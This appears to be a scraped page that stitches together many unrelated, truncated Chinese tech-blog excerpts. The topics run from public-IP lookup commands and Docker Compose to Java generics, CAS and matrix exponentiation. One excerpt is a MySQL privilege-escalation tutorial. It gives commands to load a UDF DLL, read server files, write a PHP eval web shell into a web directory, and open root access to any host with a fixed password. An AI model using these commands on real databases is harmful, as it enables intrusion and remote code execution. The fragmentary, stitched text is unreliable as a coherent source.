http://www.cnblogs.com/yeungchie/
给出两种方式获取本机的公网 IP 地址,方便在脚本中使用。
curl ipinfo.io/ip 2>/dev/null
更多可用的地址:
http://checkip.amazonaws.com
http://api.ipify.org
http://ifconfig.me/ip
http://icanhazip.com
http://ipinfo.io/ip
http://ipecho.net/plain
http://checkipv4.dedyn.io
dig +short myip.opendns.com @resolver1.opendns.com 2>/dev/null
【技思广益·腾讯技术人原创集】是腾讯云开发者社区为腾讯技术人与广泛开发者打造的分享交流窗口。栏目邀约腾讯技术人分享原创的技术积淀,与广泛开发者互启迪共成长。第二期热门作品已经诞生啦,快和云荐官一起围观~腾讯腾讯客户端开发ethanlin《自定义Clang命令,利用LLVMPass实现对OC函数的静态插桩》Objective-C在函数hook的方案比较多,但通常只实现了函数切片,也就是对函数的调用前或调用后进行hook,这里介绍一种利用llvmpass进行静态插桩的另外一种思路,希望起到抛砖引玉的作用,拿来实现更多有意思的功能。腾讯科技高级工程师卡卡罗特杨《一种海量数据安全分类分级架构的实现》数据分类分级很复杂,这种复杂性有业务层面,也有架构层面。本文重点在于述说架构层面的问题。这些问题有些可以提前规划设计,比如存储选型、通用扫描能力等。也有些需要在落地过程中持续优化,比如海量数据识别,除了对服务本身性能优化,也要对资源成本综合考虑。架构没有好坏之分,只有合适一说。本文所讲述是基于个人在落地过程遇到问题的经验总结。因此反复斟酌,认真梳理写下本文,也是对本人工作的一个阶段总结。同时也希望框
参考链接:人工智能中的一阶逻辑摘要 本文旨在讲明: 1)一阶逻辑(FOL)的语法,语义 2)FOL如何使用 3)KnowledgeEngineeringinFOL 一、回顾 命题逻辑(propositionallogic):缺乏表达能力。 二、FOL FOL假定世界包含: 1)objects对象 2)relations关系 3)functions函数 模型:Asetofobjectsandaninterpretationthatmaps: constantsymbols->objects predicate->relationsonobjects function->functionsonobjects 模型枚举在FOL中不可行,因为可能模型数量是无限的。 标准的一阶逻辑语义比自然语言表述累赘得多。在将知识翻译成一阶逻辑的时候直观上也很容易出错。 所以,能否设计一种语义使得逻辑表达更直接呢? 数据库语义:区分于标准的一阶逻辑语义。 三、使用一阶逻辑 Tell(将语句添加到知识库),Ask(向知识库询问问题),Askvars(询问什么样的x使得语句为真) 并非所有公理都
前言日常工作中,经常会碰到需要多个容器相互配合来完成某项任务的情况。Compose恰好满足了这样的需求。它允许用户通过一个单独的dockercompose.yml模板文件来定义一组相关联的应用容器为一个项目。Compose项目是Docker官方的开源项目,负责实现对Docker容器集群的快速编排。其代码目前在https://github.com/docker/compose上开源。我正在学习Docker容器技术,相关笔记汇总在Docker容器技术学习笔记汇总 基础介绍Composeisatoolfordefiningandrunningmulti-containerDockerapplications.WithCompose,youuseaYAMLfiletoconfigureyourapplication’sservices.Then,withasinglecommand,youcreateandstartalltheservicesfromyourconfiguration. Compose定位是“定义和运行多个Docker容器的应用(Definingandrunningmulti
前晚在整理0xFFFF的帖子的时候,意外地发现这一篇文:Web在继续离我们远去-知乎这篇文其中提到了internet和Web的概念,引用如下:中文世界一直混淆互联网(internet)和万维网(web)。人们念兹在兹的「互联网开放精神」,实乃万维网的开放精神。万维网的开放主要就体现在一点:任何万维网上的文章之间都可以通过网址随意互相链接。如果我想在文章里介绍UbuWeb这个网站,我就可以直接在UbuWeb这六个字母上添加它的网址ubu.com。妳或许觉得这是废话,但在微信公众号的文章里妳做不到;妳只能添加微信生态圈内的链接,比如这个:https://weixin.qq.com/cgi-bin/readtemplate?t=weixin_external_links_content_management_specification(即上述《规范》的链接)这时候我突然反应过来,我过去其实一直没有区分清楚这里的概念的差别,WorldWideWeb,简称WWW,中文“万维网”,又叫Web,而不是internet这个只有物理意义的一层。加之如今移动互联网发达,许多接触网络的新人,对于网络的了解可
问题描述:Givenanon-emptystringsandadictionarywordDictcontainingalistofnon-emptywords,determineifscanbesegmentedintoaspace-separatedsequenceofoneormoredictionarywords.Note:Thesamewordinthedictionarymaybereusedmultipletimesinthesegmentation.Youmayassumethedictionarydoesnotcontainduplicatewords.Example1:Input:s="leetcode",wordDict=["leet","code"] Output:true Explanation:Returntruebecause"leetcode"canbesegmentedas"leetcode".复制Example2:Input:s="apple
版权声明:本文为博主原创文章,转载请注明出处。https://blog.csdn.net/chaipp0607/article/details/78446708SPP-Net简介在上一篇R-CNN的文章中,详细介绍了R-CNN算法,同时也说明了R-CNN的致命缺陷,超长的训练时间(84h)和测试时间(47s),造成这个问题的主要原因就是重复性的卷积计算,在R-CNN中,输入到CNN网络中的图片是ss算法提取到的区域,每一张待检测图都会产生1000-2000个区域,这也就意味着卷积计算要重复1000-2000次,但是由于ss算法提取到的区域本身就有很多重叠,所以这种重复计算是非常没有必要的。 那么能不能只通过一次卷积计算就完成整张图像的特征提取工作呢?这就是SPP-Net的主要贡献,也是在R-CNN之后的很多网络结构的统一目标——如何共享卷积计算。SPP-Net主要改进有下面两个: 1.共享卷积计算 2.空间金字塔池化在SPP-Net中同样由这几个部分组成: ss算法 CNN网络 SVM分类器 boundingboxss算法的区域建议框同样在原图上生成,但是却在Conv5上提取,当然由于
在朋友圈看到让人耳目一新的基因行业科普文,值得更多人了解学习,所以在生信技能树次页连载宣传,如果大家迫不及待想读完全部,文末的阅读原文链接直达作者公众号!以下是原文 张小谦又和孙主任一起确定了下周三再来汇报。秦医生送她们乘电梯离开,然后去见孙主任。孙主任问:“另外三家约的是什么时间?” 小刘带小薰顺路访了几家相熟客户,又和张小谦约在四点后南门口相见。 张小谦自己去11号楼寻王教授。一进楼就见了一个姑娘正在楼道口悄悄逡巡。这姑娘踮起脚尖,一手按住自家宣传页,上面醒目的是测序大减价字样,一手拿不干胶放在嘴边咬断。地板上扔着一个粗老的帆布袋,上印着:城西生物医学技术有限公司。门卫急急赶来高声喝止:“这里箱不许乱贴广告,乌七八糟的把墙面都搞污特啦!再搞以后别想进来!”姑娘一副吓坏的模样,一边拼命的点头,一边把宣传页慌慌张张往袋里塞。门卫见到张小谦,正要来抱怨,她浅浅点了头打一声招呼,便往三楼上去。王教授不在办公室,研究生招呼她在医生大办公室里坐一下,转眼见刚才那个姑娘探进了头进来。她见没有人阻止,就往每个人桌面上放资料,鞠躬小声问有没有样本要送,现在打七折呢。最后一个发完,见没有人应声,姑娘站
这一篇的内容主要讲的是关于利用数据库服务来进行提权操作,今天的主要内容是利用mysql、mssql进行提权。利用Mysql提权在利用mysql提权之前首先要回顾一下mysql的常用命令:查路径:select@@basedirasbasePathfromdual查用户:select*frommysql.user注册函数:CREATEFUNCTIONshellRETURNSSTRINGSONAME'udf.dll'查版本:selectversion();导出:selectload_file(0x633A5C5C626F6F742E696E69)FROMuserintooutfile'D://a.txt'写文件:select'<?phpeval($_POST[cmd]);?>'intooutfile'F://a.php';开外连:GRANTALLPRIVILEGESON.TO'root'@'%'IDENTIFIEDBY'123456'WITH
前言 reuqests上传一张图片到服务器,前面已经介绍过了,那么如何在提交BUG的时候,上传附件呢? 上传附件的时候,文件的name参数名称是一样的,python里面key是不可以重复的,又如何处理参数名称相同的情况? 一、上传附件 1.以禅道提交BUG的时候上传附件为例 2.fiddler抓包看请求参数,查看到文件上传的参数如下 二、上传一个附件 1.之前学了一篇ultipart/form-data文件上传,然后学了一篇ultipart/form-data表单提交,这里文件上传,就是把两篇的知识点加起来 2.把参数分开,表单的数据用data提交,文件附件用files提交 ``` #-----------------------前面先登录步骤省略了------------- #提交bug,带上附件 url1=host+"/zentao/bug-create-1-0-moduleID=0.html" d={ "product":"1", "module":"0", &quo
目录概述使用泛型类&泛型接口定义泛型使用泛型泛型的确定泛型方法定义泛型使用泛型泛型的确定泛型上限&泛型下限泛型限定的概念泛型上限泛型下限注意事项概述 泛型可以把类型明确的工作推迟到创建对象或调用方法的时候才去明确的特殊的类型。 相当于把数据类型作为参数来进行传递。 注意:泛型只能是引用数据类型。使用泛型类&泛型接口 泛型类和泛型接口的用都相同,本篇以泛型类为例进行讲解。 泛型类就是把泛型定义在类上,用户使用该类的时候,才把类型明确下来。定义泛型 在类名后加<>,在<>中定义泛型,<>中的内容相当于泛型的名字,可以随便写。在泛型类中我们可以把这个泛型的名字当做一个数据类型来使用。publicclassTestClass<T>{ //... }复制使用泛型 在泛型类中可以使用在类名后面定义的泛型。publicclassTestClass<T>{ publicvoidtest(Tt){ } }复制泛型的确定①创建对象时确定 在创建泛型类对象的时候确定之前定义的泛型代表什么数据类型
实时会议主要用于实时转写的场景,通过声卡连接场所内的音像设备实现采音,系统实现对采集音频的实时转写与编辑整理。 会前配置用户根据会议或业务性质,在新建会议同传时,进行相关配置。包括会议信息及高级设置。 会议信息 声源语言:支持选择纯中文/纯英文/中英混合发言。 翻译显示:会议支持选择显示双语/原文/译文,以适应单语会议场景或跨语言会议场景下的不同需求。 高级设置 字幕投屏:支持会议选择是否启用投屏功能,对应匹配不同会议视图,以满足不同会议场景下的需求。 智能优化:可针对单场会议定制专属的优化任务,包含原文替换、译文替换、专有名词翻译优化、词汇通俗化替换、不断句等,会前预先定制有效提升识别准确率和翻译准确率。 声源选择:基于Windows系统产品支持声源选择,Linux系统暂不支持。声源选择支持内录、本地麦克风和外接声卡等方式的单一选择和组合选择。 内录:可满足将电脑音视频内容实时转写翻译成文字的需求。 本地麦克风:适用于近场会议或业务沟通场景。 外接声卡:适用于远场会议沟通场景。 内录+本地麦克风/外接声卡:适用于远程在线会议沟通场景。 角色分离:在新建会议时,可根据外接麦克风的
全文链接:http://tecdat.cn/?p=30360 原文出处:拓端数据部落公众号 随着网络的迅速发展,依托于网络的购物作为一种新型的消费方式,在全国乃至全球范围内飞速发展。电子商务成为越来越多消费者购物的重要途径。我们被客户要求撰写关于网络购物行为的研究报告。 项目计划使用数据挖掘的方法,以京东商城网购用户的网络购物数据为基础,对网络购物行为的三个要素:行为过程、行为结果、行为主体进行分析。 (1)使用关联规则分析方法分析网络购物用户的行为过程,分别探析信誉度、搜索排名对网购用户购买决策的影响程度; (2)使用聚类分析方法,对网购用户的行为结果进行讨论,发现不同网购群体的网购习惯和特征; (3)使用分类/预测分析方法,对网购行为主体进行研究。本项目还将引用其它研究的数据及观点对本数据分析所得结论进行比较验证。 本项目的结论为以京东商城为代表的网购平台运营商、商家提供网站管理、网店运营方面的参考,为商家制定网络营销策略提供决策支持。 关联规则挖掘 data1[,i]=as.factor(data1[,i])##将每个变量转成因子形式 } inspect(fre
Q:CAS的实现 A:gcc提供了两个函数 bool__sync_bool_compare_and_swap(type*ptr,typeoldval,typenewval,...)//type的类型有限制只能是1,2,4,8字节的整形或者是指针类型 type__sync_val_compare_and_swap(type*ptr,typeoldval,typenewval,...)复制 这两个函数提供原子的比较和交换,如果*ptr==oldval,就将newval写入*ptr, 第一个函数在相等并写入的情况下返回true,这个函数比第二个好在,返回bool值可以知道有没有更新成功. 第二个函数在返回操作之前的值。 第二个函数可以用c语言描述成: type__sync_val_compare_and_swap(type*ptr,typeoldval,typenewval,...) { typecur=*ptr; if(cur==oldval) { *ptr=newval; } returncur;//返回操作之前的值 }复制 &nbs
带参数border-radius(val) -webkit-border-radius:val -moz-border-radius:val border-radius:val button border-radius(5px);复制 编译成 button{ -webkit-border-radius:5px; -moz-border-radius:5px; border-radius:5px; }复制 不带参数 border-radius() -webkit-border-radius:arguments -moz-border-radius:arguments border-radius:arguments button border-radius:5px10px;复制 编译成 button{ -webkit-border-radius:5px10px; -moz-border-radius:5px10px; border-radius:5px10px; }复制 复制 @extend 扩展块级的样式组。。。 复制
声明:翻译仅以技术学习和交流为目的,如需转载请务必标明原帖链接。来源:http://stackoverflow.com/questions/4568645/printing-1-to-1000-without-loop-or-conditionals水平有限,如有翻译不当,欢迎探讨、批评与指正。 任务:不使用循环和条件判断语句“打印从1到100之间的数字”。不要使用1000个printf或者cout哦,O(∩_∩)O~。如果是你,你将怎么用C或者C++语言实现呢? 方法一: 复制代码#include<iostream> template<intN>structNumberGeneration{staticvoidout(std::ostream&os){NumberGeneration<N-1>::out(os);os<<N<<std::endl;}}; template<>structNumberGeneration<1>{staticvoidout(std::os
Outline lis= [1,2,3,4,5,6,7,8,9,10] 从lis中每次取两个元素,且所取不重复: [1,2][3,4][5,6][7,8][9,10] 实现 method1 ret=[] a=[1,2,3,4,5,6,7,8,9,10] foriinrange(0,len(a),2): ret.append(a[i:i+2]) print(a[i:i+2]) #[1,2] #[3,4] #[5,6] #[7,8] #[9,10]复制 method2 a=[1,2,3,4,5,6,7,8,9,10] forrin[a[i:i+2]foriinrange(0,len(a),2)]:#列表生成式 print(r) #[1,2] #[3,4] #[5,6] #[7,8] #[9,10]复制
知识点一:urllib的详解及基本使用方法 一、基本介绍 urllib是python的一个获取url(UniformResourceLocators,统一资源定址器)了,我们可以利用它来抓取远程的数据进行保存。 二、什么是Urllib Python内置的Http请求库,包含四个模块: urllib.request请求模块 (模拟浏览器,可以用来发送request和获取request的结果) urllib.error异常处理模块 (包含了urllib.request产生的异常) urllib.parseurl解析模块 工具模块(用来解析和处理UR),如:拆分、合并 urllib.robotparserrobots.txt 解析模块(用来解析页面的robots.txt文件) 三、urllib模块的基本使用 1.urlopen方法 urllib.request模块提供了最基本的构造HTTP请求的方法,利用它可以模拟浏览器
首先我们需要了解什么是“树的深度”和“树的叶子”。 树的叶子:一棵树当中没有子结点(即度为0)的结点称为叶子结点,简称“叶子”。 叶子是指度为0的结点,又称为终端结点。 树的深度:树中最大的结点层。举个例子:你爷爷是根节点,你爸爸叔叔是你爷爷的左/右孩子,你是你爸爸的左孩子。那么你爸爸叔叔的深度是2,你的深度是3。(够通俗吧?) 首先我们来求树的叶子数量,叶子的特征是没有子节点。 思路: 1、判断该节点左、右孩子是否都等于空,如果是:叶子数加一;如果不是:入栈 2、该节点等该节点的左子节点,重复步骤1,直到该节点等于空,执行步骤3。 3、如果栈非空:零时指针指向栈顶元素的右子节点,删除栈顶元素;如果栈为空:执行完毕,退出。 具体代码如下: TEMPTYPEintCBinaryTree<type>::Leaves() { autopStack=newstack<LPTREENODE>; autonLeaves=0,nCount=0,nSize=Size(); autopTempTree=m_pTree; while(true) { wh
1、 しかたがない|てしかたがない |~てたまらない| てならない 仕方がない 没办法;没用;只好(表示没有其他的办法)。 行きたくないけど、行くしか仕方がない。虽然不想去,但非去不可。 ~てしかたがない 口语ー>~てしようがない |~てしょうがない ”……得不得了;……得很 ”接续:VR-てしょうがないA-くてしょうがないNa でしょうがない助动词“~たい”的连用形+くてしょうがない 含义:表示很自然产生的某种心情、感情或感觉很强烈,达到了自己无法抑制的状态。 財布を盗まれて、腹が立ってしかたがない。/钱包被盗,气死我了。 朝ご飯を食べていないので、おなかがすいてしょうがない。/没吃早饭,所以饿得不得了。 ~てたまらない ”……得不得了;……得很…受不了” 接续:VR-てたまらないA-くてたまらないNa-でたまらない助動詞たい-くてたまらない含义:表示很自然产生的某种心情、感情或感觉很强烈,达到了自己无法抑制的状态。主语必须是第一人称。 頭痛がしてたまらないので、近くの病院に行った。/头痛得不行,去了附近的医院。 母の病気が心配でたまら
很显然这是矩阵快速幂的题 但发现用矩阵快速幂,指数很大很大,没办法用欧拉降幂(傻乎乎的用欧拉降幂,欧拉降幂只是对底数为整数,做了3个小时),结果是由周期的,根据周期对指数进行降幂,然后再矩阵快速幂,最后答案减一,因为这是求的向上取整 ACcode: #include<bits/stdc++.h> usingnamespacestd; constintN=1e6+10; constintM=2; typedeflonglongll; intm=2; intMOD; structMatrix{ llmatrix[M][M]; }; voidinit(Matrix&res) { for(inti=0;i<m;i++) { for(intj=0;j<m;j++) res.matrix[i][j]=0; res.matrix[i][i]=1; } } Matrixmultiplicative(Matrixa,Matrixb) { Matrixres; memset(res.matrix,0,siz